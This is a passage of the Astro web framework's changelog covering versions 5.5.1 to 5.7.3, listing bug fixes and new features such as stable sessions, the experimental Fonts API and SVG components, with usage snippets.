[`6744842`](https://github.com/withastro/astro/commit/67448426fb4e2289ef8bc25d97bd617456b18b68) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where extra font sources were removed when using the experimental fonts API - [#&#8203;13635](https://github.com/withastro/astro/pull/13635) [`d75cac4`](https://github.com/withastro/astro/commit/d75cac45de8790331aad134ae91bfeb1943cd458) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - The experimental fonts API now generates optimized fallbacks for every weight and style ### [`v5.7.3`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#573) [Compare Source](https://github.com/withastro/astro/compare/astro@5.7.2...astro@5.7.3) ##### Patch Changes - [#&#8203;13643](https://github.com/withastro/astro/pull/13643) [`67b7493`](https://github.com/withastro/astro/commit/67b749391a9069ae1d94ef646b68a99973ef44d7) Thanks [@&#8203;tanishqmanuja](https://github.com/tanishqmanuja)! - Fixes a case where the font face `src` format would be invalid when using the experimental fonts API - [#&#8203;13639](https://github.com/withastro/astro/pull/13639) [`23410c6`](https://github.com/withastro/astro/commit/23410c644f5fc528ef630f2bcbe58c68dfe0c719) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where some font families would not be downloaded when using the same font provider several times, using the experimental fonts API ### [`v5.7.2`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#572) [Compare Source](https://github.com/withastro/astro/compare/astro@5.7.1...astro@5.7.2) ##### Patch Changes - [#&#8203;13632](https://github.com/withastro/astro/pull/13632) [`cb05cfb`](https://github.com/withastro/astro/commit/cb05cfba12d1c6ea8cee98552c86a98bfb56794c) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Improves the optimized fallback name generated by the experimental Fonts API - [#&#8203;13630](https://github.com/withastro/astro/pull/13630) [`3e7db4f`](https://github.com/withastro/astro/commit/3e7db4f802f69404ad2a3c3a3710452554ee40ec) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where fonts using a local provider would not work because of an invalid generated `src` - [#&#8203;13634](https://github.com/withastro/astro/pull/13634) [`516de7d`](https://github.com/withastro/astro/commit/516de7dbe6d8aac20bb0ca8243c92cc7cbd730ce) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a regression where using `next('/')` didn't correctly return the requested route. - [#&#8203;13632](https://github.com/withastro/astro/pull/13632) [`cb05cfb`](https://github.com/withastro/astro/commit/cb05cfba12d1c6ea8cee98552c86a98bfb56794c) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Improves the quality of optimized fallbacks generated by the experimental Fonts API - [#&#8203;13616](https://github.com/withastro/astro/pull/13616) [`d475afc`](https://github.com/withastro/astro/commit/d475afcae7259204072e644e3d66e5479510f410) Thanks [@&#8203;lfilho](https://github.com/lfilho)! - Fixes a regression where relative static redirects didn't work as expected. ### [`v5.7.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#5714) [Compare Source](https://github.com/withastro/astro/compare/astro@5.7.0...astro@5.7.1) ##### Patch Changes - [#&#8203;13773](https://github.com/withastro/astro/pull/13773) [`3aa5337`](https://github.com/withastro/astro/commit/3aa5337eaf01dbcc987dee9413c6985514ef7d6b) Thanks [@&#8203;sijad](https://github.com/sijad)! - Ignores lightningcss unsupported pseudo-class warning. - [#&#8203;13833](https://github.com/withastro/astro/pull/13833) [`5a6d2ae`](https://github.com/withastro/astro/commit/5a6d2aede4b397227be5acecfa9bfefb9a1af0f8) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes an issue where session modules would fail to resolve in Node.js < 20.6 - [#&#8203;13383](https://github.com/withastro/astro/pull/13383) [`f7f712c`](https://github.com/withastro/astro/commit/f7f712cc29f80c4f8096489d7368c2fda223e097) Thanks [@&#8203;Haberkamp](https://github.com/Haberkamp)! - Stop toolbar settings from overflowing - [#&#8203;13794](https://github.com/withastro/astro/pull/13794) [`85b19d8`](https://github.com/withastro/astro/commit/85b19d87b6416957c245bd3e239fbf6da2038075) Thanks [@&#8203;alexcarpenter](https://github.com/alexcarpenter)! - Exclude pre tags from `a11y-no-noninteractive-tabindex` audit check. - [#&#8203;13373](https://github.com/withastro/astro/pull/13373) [`50ef568`](https://github.com/withastro/astro/commit/50ef568413b5fe7add36c089b77f9f180739f43f) Thanks [@&#8203;jpwienekus](https://github.com/jpwienekus)! - Fixes a bug where highlights and tooltips render over the audit list window. - [#&#8203;13769](https://github.com/withastro/astro/pull/13769) [`e9fc456`](https://github.com/withastro/astro/commit/e9fc456b58511da3ae2f932256217b3db4c42998) Thanks [@&#8203;romanstetsyk](https://github.com/romanstetsyk)! - Expand ActionError codes to include all IANA-registered HTTP error codes. - [#&#8203;13668](https://github.com/withastro/astro/pull/13668) [`866285a`](https://github.com/withastro/astro/commit/866285a5fb3e4ba9d8ca6aadb129d3a6ed2b0f69) Thanks [@&#8203;sapphi-red](https://github.com/sapphi-red)! - Replaces internal CSS chunking behavior for Astro components' scoped styles to use Vite's `cssScopeTo` feature. The feature is a port of Astro's implementation so this should not change the behavior. ### [`v5.7.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#570) [Compare Source](https://github.com/withastro/astro/compare/astro@5.6.2...astro@5.7.0) ##### Minor Changes - [#&#8203;13527](https://github.com/withastro/astro/pull/13527) [`2fd6a6b`](https://github.com/withastro/astro/commit/2fd6a6b7aa51a4713af7fac37d5dfd824543c1bc) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - The experimental session API introduced in Astro 5.1 is now stable and ready for production use. Sessions are used to store user state between requests for [on-demand rendered pages](https://astro.build/en/guides/on-demand-rendering/). You can use them to store user data, such as authentication tokens, shopping cart contents, or any other data that needs to persist across requests: ```astro --- export const prerender = false; // Not needed with 'server' output const cart = await Astro.session.get('cart'); --- <a href="/checkout">🛒 {cart?.length ?? 0} items</a> ``` ##### Configuring session storage Sessions require a storage driver to store the data. The Node, Cloudflare and Netlify adapters automatically configure a default driver for you, but other adapters currently require you to specify a custom storage driver in your configuration. If you are using an adapter that doesn't have a default driver, or if you want to choose a different driver, you can configure it using the `session` configuration option: ```js import { defineConfig } from 'astro/config'; import vercel from '@&#8203;astrojs/vercel'; export default defineConfig({ adapter: vercel(), session: { driver: 'upstash', }, }); ``` ##### Using sessions Sessions are available in on-demand rendered pages, API endpoints, actions and middleware. In pages and components, you can access the session using `Astro.session`: ```astro --- const cart = await Astro.session.get('cart'); --- <a href="/checkout">🛒 {cart?.length ?? 0} items</a> ``` In endpoints, actions, and middleware, you can access the session using `context.session`: ```js export async function GET(context) { const cart = await context.session.get('cart'); return Response.json({ cart }); } ``` If you attempt to access the session when there is no storage driver configured, or in a prerendered page, the session object will be `undefined` and an error will be logged in the console: ```astro --- export const prerender = true; const cart = await Astro.session?.get('cart'); // Logs an error. Astro.session is undefined --- ``` ##### Upgrading from Experimental to Stable If you were previously using the experimental API, please remove the `experimental.session` flag from your configuration: ```diff import { defineConfig } from 'astro/config'; import node from '@&#8203;astrojs/node'; export default defineConfig({ adapter: node({ mode: "standalone", }), - experimental: { - session: true, - }, }); ``` See [the sessions guide](https://docs.astro.build/en/guides/sessions/) for more information. - [#&#8203;12775](https://github.com/withastro/astro/pull/12775) [`b1fe521`](https://github.com/withastro/astro/commit/b1fe521e2c45172b786594c50c0ca595105a6d68) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds a new, experimental Fonts API to provide first-party support for fonts in Astro. This experimental feature allows you to use fonts from both your file system and several built-in supported providers (e.g. Google, Fontsource, Bunny) through a unified API. Keep your site performant thanks to sensible defaults and automatic optimizations including fallback font generation. To enable this feature, configure an `experimental.fonts` object with one or more fonts: ```js title="astro.config.mjs" import { defineConfig, fontProviders } from "astro/config" export default defineConfig({ experimental: { fonts: [{ provider: fontProviders.google(), ` name: "Roboto", cssVariable: "--font-roboto", }] } }) ``` Then, add a `<Font />` component and site-wide styling in your `<head>`: ```astro title="src/components/Head.astro" --- import { Font } from 'astro:assets'; --- <Font cssVariable="--font-roboto" preload /> <style> body { font-family: var(--font-roboto); } </style> ``` Visit [the experimental Fonts documentation](https://docs.astro.build/en/reference/experimental-flags/fonts/) for the full API, how to get started, and even how to build your own custom `AstroFontProvider` if we don't yet support your preferred font service. For a complete overview, and to give feedback on this experimental API, see the [Fonts RFC](https://github.com/withastro/roadmap/pull/1039) and help shape its future. - [#&#8203;13560](https://github.com/withastro/astro/pull/13560) [`df3fd54`](https://github.com/withastro/astro/commit/df3fd5434514b68cf1fe499a2e28bc1215bd253d) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - The virtual module `astro:config` introduced behind a flag in [v5.2.0](https://github.com/withastro/astro/blob/main/packages/astro/CHANGELOG.md#520) is no longer experimental and is available for general use. This virtual module exposes two sub-paths for type-safe, controlled access to your configuration: - `astro:config/client`: exposes config information that is safe to expose to the client. - `astro:config/server`: exposes additional information that is safe to expose to the server, such as file and directory paths. Access these in any file inside your project to import and use select values from your Astro config: ```js // src/utils.js import { trailingSlash } from 'astro:config/client'; function addForwardSlash(path) { if (trailingSlash === 'always') { return path.endsWith('/') ? path : path + '/'; } else { return path; } } ``` If you were previously using this feature, please remove the experimental flag from your Astro config: ```diff // astro.config.mjs export default defineConfig({ - experimental: { - serializeConfig: true - } }) ``` If you have been waiting for feature stabilization before using configuration imports, you can now do so. Please see [the `astro:config` reference](https://docs.astro.build/en/my-feature/) for more about this feature. - [#&#8203;13578](https://github.com/withastro/astro/pull/13578) [`406501a`](https://github.com/withastro/astro/commit/406501aeb7f314ae5c31f31a373c270e3b9ec715) Thanks [@&#8203;stramel](https://github.com/stramel)! - The SVG import feature introduced behind a flag in [v5.0.0](https://github.com/withastro/astro/blob/main/packages/astro/CHANGELOG.md#500) is no longer experimental and is available for general use. This feature allows you to import SVG files directly into your Astro project as components and inline them into your HTML. To use this feature, import an SVG file in your Astro project, passing any common SVG attributes to the imported component. ```astro --- import Logo from './path/to/svg/file.svg'; --- <Logo width={64} height={64} fill="currentColor" /> ``` If you have been waiting for stabilization before using the SVG Components feature, you can now do so. If you were previously using this feature, please remove the experimental flag from your Astro config: ```diff import { defineConfig } from 'astro' export default defineConfig({ - experimental: { - svg: true, - } }) ``` Additionally, a few features that were available during the experimental stage were removed in a previous release. Please see [the v5.6.0 changelog](https://github.com/withastro/astro/blob/main/packages/astro/CHANGELOG.md#560) for details if you have not yet already updated your project code for the experimental feature accordingly. Please see the [SVG Components guide in docs](https://docs.astro.build/en/guides/images/#svg-components) for more about this feature. ##### Patch Changes - [#&#8203;13602](https://github.com/withastro/astro/pull/13602) [`3213450`](https://github.com/withastro/astro/commit/3213450bda5b21527a03d292a5f222f35293f9bb) Thanks [@&#8203;natemoo-re](https://github.com/natemoo-re)! - Updates the [Audit](http://docs.astro.build/en/guides/dev-toolbar/#audit) dev toolbar app to automatically strip `data-astro-source-file` and `data-astro-source-loc` attributes in dev mode. - [#&#8203;13598](https://github.com/withastro/astro/pull/13598) [`f5de51e`](https://github.com/withastro/astro/commit/f5de51e94755cdbeaa19667309b5f1aa0c416bd4) Thanks [@&#8203;dreyfus92](https://github.com/dreyfus92)! - Fix routing with base paths when trailingSlash is set to 'never'. This ensures requests to '/base' are correctly matched when the base path is set to '/base', without requiring a trailing slash. - [#&#8203;13603](https://github.com/withastro/astro/pull/13603) [`d038030`](https://github.com/withastro/astro/commit/d038030770b294e811beb99c9478fbe4b4cbb968) Thanks [@&#8203;sarah11918](https://github.com/sarah11918)! - Adds the minimal starter template to the list of `create astro` options Good news if you're taking the introductory tutorial in docs, making a minimal reproduction, or just want to start a project with as little to rip out as possible. Astro's `minimal` (empty) template is now back as one of the options when running `create astro@latest` and starting a new project! ### [`v5.6.2`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#562) [Compare Source](https://github.com/withastro/astro/compare/astro@5.6.1...astro@5.6.2) ##### Patch Changes - [#&#8203;13606](https://github.com/withastro/astro/pull/13606) [`793ecd9`](https://github.com/withastro/astro/commit/793ecd916e4e815886a57b85bd1739f704faae7f) Thanks [@&#8203;natemoo-re](https://github.com/natemoo-re)! - Fixes a regression that allowed prerendered code to leak into the server bundle. - [#&#8203;13576](https://github.com/withastro/astro/pull/13576) [`1c60ec3`](https://github.com/withastro/astro/commit/1c60ec3c4d8518208737de405b1bc0b5b285a0c9) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Reduces duplicate code in server islands scripts by extracting shared logic into a helper function. - [#&#8203;13588](https://github.com/withastro/astro/pull/13588) [`57e59be`](https://github.com/withastro/astro/commit/57e59bec40ec2febd32065324505087caec9038a) Thanks [@&#8203;natemoo-re](https://github.com/natemoo-re)! - Fixes a memory leak when using SVG assets. - [#&#8203;13589](https://github.com/withastro/astro/pull/13589) [`5a0563d`](https://github.com/withastro/astro/commit/5a0563de9e377ba7b0af7e055a85893773616d4b) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Deprecates the asset utility function `emitESMImage()` and adds a new `emitImageMetadata()` to be used instead The function `emitESMImage()` is now deprecated. It will continue to function, but it is no longer recommended nor supported. This function will be completely removed in a next major release of Astro. Please replace it with the new function`emitImageMetadata()` as soon as you are able to do so: ```diff - import { emitESMImage } from "astro/assets/utils"; + import { emitImageMetadata } from "astro/assets/utils"; ``` The new function returns the same signature as the previous one. However, the new function removes two deprecated arguments that were not meant to be exposed for public use: `_watchMode` and `experimentalSvgEnabled`. Since it was possible to access these with the old function, you may need to verify that your code still works as intended with `emitImageMetadata()`. - [#&#8203;13596](https://github.com/withastro/astro/pull/13596) [`3752519`](https://github.com/withastro/astro/commit/375251966d1b28a570bff45ff0fe7e7d2fe46f72) Thanks [@&#8203;jsparkdev](https://github.com/jsparkdev)! - update vite to latest version to fix CVE - [#&#8203;13547](https://github.com/withastro/astro/pull/13547) [`360cb91`](https://github.com/withastro/astro/commit/360cb9199a4314f90825c5639ff4396760e9cfcc) Thanks [@&#8203;jsparkdev](https://github.com/jsparkdev)! - Updates vite to the latest version - [#&#8203;13548](https://github.com/withastro/astro/pull/13548) [`e588527`](https://github.com/withastro/astro/commit/e588527b4c3de7759ef7d10d3004405d0b197f48) Thanks [@&#8203;ryuapp](https://github.com/ryuapp)! - Support for Deno to install npm packages. Deno requires npm prefix to install packages on npm. For example, to install react, we need to run `deno add npm:react`. But currently the command executed is `deno add react`, which doesn't work. So, we change the package names to have an npm prefix if you are using Deno. - [#&#8203;13587](https://github.com/withastro/astro/pull/13587) [`a0774b3`](https://github.com/withastro/astro/commit/a0774b376a4f24e2bf1db5b70616dff63d7412dd) Thanks [@&#8203;robertoms99](https://github.com/robertoms99)! - Fixes an issue with the client router where some attributes of the root element were not updated during swap, including the transition scope. ### [`v5.6.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#561) [Compare Source](https://github.com/withastro/astro/compare/astro@5.6.0...astro@5.6.1) ##### Patch Changes - [#&#8203;13519](https://github.com/withastro/astro/pull/13519) [`3323f5c`](https://github.com/withastro/astro/commit/3323f5c554a3af966463cc95a42d7ca789ba678b) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Refactors some internals to improve Rolldown compatibility - [#&#8203;13545](https://github.com/withastro/astro/pull/13545) [`a7aff41`](https://github.com/withastro/astro/commit/a7aff41681f9235719c03f97650db288f9f5f71a) Thanks [@&#8203;stramel](https://github.com/stramel)! - Prevent empty attributes from appearing in the SVG output - [#&#8203;13552](https://github.com/withastro/astro/pull/13552) [`9cd0fd4`](https://github.com/withastro/astro/commit/9cd0fd432634ed664a820ac78c6a3033684c7a83) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where Astro validated the i18n configuration incorrectly, causing false positives in downstream libraries. ### [`v5.6.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#560) [Compare Source](https://github.com/withastro/astro/compare/astro@5.5.6...astro@5.6.0) ##### Minor Changes - [#&#8203;13403](https://github.com/withastro/astro/pull/13403) [`dcb9526`](https://github.com/withastro/astro/commit/dcb9526c6ece3b716c677205fb99b483c95bfa7d) Thanks [@&#8203;yurynix](https://github.com/yurynix)! - Adds a new optional `prerenderedErrorPageFetch` option in the Adapter API to allow adapters to provide custom implementations for fetching prerendered error pages. Now, adapters can override the default `fetch()` behavior, for example when `fetch()` is unavailable or when you cannot call the server from itself. The following example provides a custom fetch for `500.html` and `404.html`, reading them from disk instead of performing an HTTP call: ```js "prerenderedErrorPageFetch" return app.render(request, { prerenderedErrorPageFetch: async (url: string): Promise<Response> => { if (url.includes("/500")) { const content = await fs.promises.readFile("500.html", "utf-8"); return new Response(content, { status: 500, headers: { "Content-Type": "text/html" }, }); } const content = await fs.promises.readFile("404.html", "utf-8"); return new Response(content, { status: 404, headers: { "Content-Type": "text/html" }, }); }); ``` If no value is provided, Astro will fall back to its default behavior for fetching error pages. Read more about this feature in the [Adapter API reference](https://docs.astro.build/en/reference/adapter-reference/#prerenderederrorpagefetch). - [#&#8203;13482](https://github.com/withastro/astro/pull/13482) [`ff257df`](https://github.com/withastro/astro/commit/ff257df4e1a7f3e29e9bf7f92d52bf72f7b595a4) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Updates Astro config validation to also run for the Integration API. An error log will specify which integration is failing the validation. Now, Astro will first validate the user configuration, then validate the updated configuration after each integration `astro:config:setup` hook has run. This means `updateConfig()` calls will no longer accept invalid configuration. This fixes a situation where integrations could potentially update a project with a malformed configuration. These issues should now be caught and logged so that you can update your integration to only set valid configurations. - [#&#8203;13405](https://github.com/withastro/astro/pull/13405) [`21e7e80`](https://github.com/withastro/astro/commit/21e7e8077d6f0c9ad14fe1876d87bb445f5584b1) Thanks [@&#8203;Marocco2](https://github.com/Marocco2)! - Adds a new `eagerness` option for `prefetch()` when using `experimental.clientPrerender` With the experimental [`clientPrerender`](https://docs.astro.build/en/reference/experimental-flags/client-prerender/) flag enabled, you can use the `eagerness` option on `prefetch()` to suggest to the browser how eagerly it should prefetch/prerender link targets. This follows the same API described in the [Speculation Rules API](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/script/type/speculationrules#eagerness) and allows you to balance the benefit of reduced wait times against bandwidth, memory, and CPU costs for your site visitors. For example, you can now use `prefetch()` programmatically with large sets of links and avoid [browser limits in place to guard against over-speculating](https://developer.chrome.com/blog/speculation-rules-improvements#chrome-limits) (prerendering/prefetching too many links). Set `eagerness: 'moderate'` to take advantage of [First In, First Out (FIFO)](https://en.wikipedia.org/wiki/FIFO_\(computing_and_electronics\)) strategies and browser heuristics to let the browser decide when to prerender/prefetch them and in what order: ```astro <a class="link-moderate" href="/nice-link-1">A Nice Link 1</a> <a class="link-moderate" href="/nice-link-2">A Nice Link 2</a> <a class="link-moderate" href="/nice-link-3">A Nice Link 3</a> <a class="link-moderate" href="/nice-link-4">A Nice Link 4</a> ... <a class="link-moderate" href="/nice-link-20">A Nice Link 20</a> <script> import { prefetch } from 'astro:prefetch'; const linkModerate = document.getElementsByClassName('link-moderate'); linkModerate.forEach((link) => prefetch(link.getAttribute('href'), { eagerness: 'moderate' })); </script> ``` - [#&#8203;13482](https://github.com/withastro/astro/pull/13482) [`ff257df`](https://github.com/withastro/astro/commit/ff257df4e1a7f3e29e9bf7f92d52bf72f7b595a4) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Improves integrations error handling If an error is thrown from an integration hook, an error log will now provide information about the concerned integration and hook ##### Patch Changes - [#&#8203;13539](https://github.com/withastro/astro/pull/13539) [`c43bf8c`](https://github.com/withastro/astro/commit/c43bf8cd0513c2260d4ba32b5beffe97306e2e09) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds a new `session.load()` method to the experimental session API that allows you to load a session by ID. When using [the experimental sessions API](https://docs.astro.build/en/reference/experimental-flags/sessions/), you don't normally need to worry about managing the session ID and cookies: Astro automatically reads the user's cookies and loads the correct session when needed. However, sometimes you need more control over which session to load. The new `load()` method allows you to manually load a session by ID. This is useful if you are handling the session ID yourself, or if you want to keep track of a session without using cookies. For example, you might want to restore a session from a logged-in user on another device, or work with an API endpoint that doesn't use cookies. ```ts // src/pages/api/cart.ts import type { APIRoute } from 'astro'; export const GET: APIRoute = async ({ session, request }) => { // Load the session from a header instead of cookies const sessionId = request.headers.get('x-session-id'); await session.load(sessionId); const cart = await session.get('cart'); return Response.json({ cart }); }; ``` If a session with that ID doesn't exist, a new one will be created. This allows you to generate a session ID in the client if needed. For more information, see the [experimental sessions docs](https://docs.astro.build/en/reference/experimental-flags/sessions/). - [#&#8203;13488](https://github.com/withastro/astro/pull/13488) [`d777420`](https://github.com/withastro/astro/commit/d7774207b11d042711ec310f2ad46d15246482f0) Thanks [@&#8203;stramel](https://github.com/stramel)! - **BREAKING CHANGE to the experimental SVG Component API only** Removes some previously available prop, attribute, and configuration options from the experimental SVG API. These items are no longer available and must be removed from your code: - The `title` prop has been removed until we can settle on the correct balance between developer experience and accessibility. Please replace any `title` props on your components with `aria-label`: ```diff - <Logo title="My Company Logo" /> + <Logo aria-label="My Company Logo" /> ``` - Sprite mode has been temporarily removed while we consider a new implementation that addresses how this feature was being used in practice. This means that there are no longer multiple `mode` options, and all SVGs will be inline. All instances of `mode` must be removed from your project as you can no longer control a mode: ```diff - <Logo mode="inline" /> + <Logo /> ``` ```diff import { defineConfig } from 'astro' export default defineConfig({ experimental: { - svg: { - mode: 'sprite' - }, + svg: true } }); ``` - The default `role` is no longer applied due to developer feedback. Please add the appropriate `role` on each component individually as needed: ```diff - <Logo /> + <Logo role="img" /> // To keep the role that was previously applied by default ``` - The `size` prop has been removed to better work in combination with `viewBox` and additional styles/attributes. Please replace `size` with explicit `width` and `height` attributes: ```diff - <Logo size={64} /> + <Logo width={64} height={64} /> ``` ### [`v5.5.6`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#556) [Compare Source](https://github.com/withastro/astro/compare/astro@5.5.5...astro@5.5.6) ##### Patch Changes - [#&#8203;13429](https://github.com/withastro/astro/pull/13429) [`06de673`](https://github.com/withastro/astro/commit/06de673375f2339eb1bf8eda03d79177598979a9) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - The `ActionAPIContext.rewrite` method is deprecated and will be removed in a future major version of Astro - [#&#8203;13524](https://github.com/withastro/astro/pull/13524) [`82cd583`](https://github.com/withastro/astro/commit/82cd5832860d70ea7524473ae927db0cc2682b12) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where the functions `Astro.preferredLocale` and `Astro.preferredLocaleList` would return the incorrect locales when the Astro configuration specifies a list of `codes`. Before, the functions would return the `path`, instead now the functions return a list built from `codes`. - [#&#8203;13526](https://github.com/withastro/astro/pull/13526) [`ff9d69e`](https://github.com/withastro/astro/commit/ff9d69e3443c80059c54f6296d19f66bb068ead3) Thanks [@&#8203;jsparkdev](https://github.com/jsparkdev)! - update `vite` to the latest version ### [`v5.5.5`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#555) [Compare Source](https://github.com/withastro/astro/compare/astro@5.5.4...astro@5.5.5) ##### Patch Changes - [#&#8203;13510](https://github.com/withastro/astro/pull/13510) [`5b14d33`](https://github.com/withastro/astro/commit/5b14d33f81cdac0f7ac77186113dcce4369d848d) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where `astro:env` secrets used in actions would not be available - [#&#8203;13485](https://github.com/withastro/astro/pull/13485) [`018fbe9`](https://github.com/withastro/astro/commit/018fbe90f4030bbc2b2db7589d750e5392f38e59) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused cookies to ignore custom decode function if has() had been called before - [#&#8203;13505](https://github.com/withastro/astro/pull/13505) [`a98ae5b`](https://github.com/withastro/astro/commit/a98ae5b8f5c33900379012e9e253a755c0a8927e) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Updates the dependency `vite` to the latest. - [#&#8203;13483](https://github.com/withastro/astro/pull/13483) [`fc2dcb8`](https://github.com/withastro/astro/commit/fc2dcb83543d88af9e0920b90a035652d6db5166) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a bug where an Astro adapter couldn't call the middleware when there isn't a route that matches the incoming request. ### [`v5.5.4`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#554) [Compare Source](https://github.com/withastro/astro/compare/astro@5.5.3...astro@5.5.4) ##### Patch Changes - [#&#8203;13457](https://github.com/withastro/astro/pull/13457) [`968e713`](https://github.com/withastro/astro/commit/968e713c268e1b2176c9265b6c438c56105c2730) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Sets correct response status text for custom error pages - [#&#8203;13447](https://github.com/withastro/astro/pull/13447) [`d80ba2b`](https://github.com/withastro/astro/commit/d80ba2b27d33d2972ffa3242330fb00d0fc58ba9) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where `site` was added to the generated redirects. - [#&#8203;13481](https://github.com/withastro/astro/pull/13481) [`e9e9245`](https://github.com/withastro/astro/commit/e9e9245c7c0ad6e3bda2b7600ff2bd845921a19d) Thanks [@&#8203;martrapp](https://github.com/martrapp)! - Makes server island work with the client router again. - [#&#8203;13484](https://github.com/withastro/astro/pull/13484) [`8b5e4dc`](https://github.com/withastro/astro/commit/8b5e4dc733bccce7d77defdbb973204aa9b8126b) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Display useful errors when config loading fails because of Node addons being disabled on Stackblitz ### [`v5.5.3`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#553) [Compare Source](https://github.com/withastro/astro/compare/astro@5.5.2...astro@5.5.3) ##### Patch Changes - [#&#8203;13437](https://github.com/withastro/astro/pull/13437) [`013fa87`](https://github.com/withastro/astro/commit/013fa87982ea92675e899d2f71a200e5298db608) Thanks [@&#8203;Vardhaman619](https://github.com/Vardhaman619)! - Handle server.allowedHosts when the value is true without attempting to push it into an array. - [#&#8203;13324](https://github.com/withastro/astro/pull/13324) [`ea74336`](https://github.com/withastro/astro/commit/ea7433666e0cc7e1301e638e80f90323f20db3e1) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Upgrade to shiki v3 - [#&#8203;13372](https://github.com/withastro/astro/pull/13372) [`7783dbf`](https://github.com/withastro/astro/commit/7783dbf8117650c60d7633b43f0d42da487aa2b1) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused some very large data stores to save incomplete data. - [#&#8203;13358](https://github.com/withastro/astro/pull/13358) [`8c21663`](https://github.com/withastro/astro/commit/8c21663c4a6363765f2caa5705a93a41492a95c9) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds a new function called `insertPageRoute` to the Astro Container API. The new function is useful when testing routes that, for some business logic, use `Astro.rewrite`. For example, if you have a route `/blog/post` and for some business decision there's a rewrite to `/generic-error`, the container API implementation will look like this: ```js import Post from '../src/pages/Post.astro'; import GenericError from '../src/pages/GenericError.astro'; import { experimental_AstroContainer as AstroContainer } from 'astro/container'; const container = await AstroContainer.create(); container.insertPageRoute('/generic-error', GenericError); const result = await container.renderToString(Post); console.log(result); // this should print the response from GenericError.astro ``` This new method only works for page routes, which means that endpoints aren't supported. - [#&#8203;13426](https://github.com/withastro/astro/pull/13426) [`565583b`](https://github.com/withastro/astro/commit/565583bd6c99163ce5d9475b26075149cc8c155b) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that caused the `astro add` command to ignore the `--yes` flag for third-party integrations - [#&#8203;13428](https://github.com/withastro/astro/pull/13428) [`9cac9f3`](https://github.com/withastro/astro/commit/9cac9f314277def0ee584e45d4937bac0235738a) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Prevent bad value in x-forwarded-host from crashing request - [#&#8203;13432](https://github.com/withastro/astro/pull/13432) [`defad33`](https://github.com/withastro/astro/commit/defad33140dccde324b9357bc6331f7e5cdec266) Thanks [@&#8203;P4tt4te](https://github.com/P4tt4te)! - Fix an issue in the Container API, where the `renderToString` function doesn't render adequately nested slots when they are components. - Updated dependencies \[[`ea74336`](https://github.com/withastro/astro/commit/ea7433666e0cc7e1301e638e80f90323f20db3e1)]: - [@&#8203;astrojs/markdown-remark](https://github.com/astrojs/markdown-remark)@&#8203;6.3.1 ### [`v5.5.2`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#552) [Compare Source](https://github.com/withastro/astro/compare/astro@5.5.1...astro@5.5.2) ##### Patch Changes - [#&#8203;13415](https://github.com/withastro/astro/pull/13415) [`be866a1`](https://github.com/withastro/astro/commit/be866a1d1db12793e0953b228d0b2dc1c00929e2) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Reuses experimental session storage object between requests. This prevents memory leaks and improves performance for drivers that open persistent connections to a database. - [#&#8203;13420](https://github.com/withastro/astro/pull/13420) [`2f039b9`](https://github.com/withastro/astro/commit/2f039b927a3a1334948adc7788b1f24c074dfac7) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - It fixes an issue that caused some regressions in how styles are bundled. ### [`v5.5.1`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#551) [Compare Source](https://github.com/withastro/astro/compare/astro@5.5.0...astro@5.5.1) ##### Patch Changes - [#&#8203;13413](https://github.com/withastro/astro/pull/13413) [`65903c9`](https://github.com/withastro/astro/commit/65903c995408397c63c911e184218c0206e5853f) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Makes experimental flag optional ### [`v5.5.0`](https://github.com/withastro/astro/blob/HEAD/packages/astro/CHANGELOG.md#550) [Compare 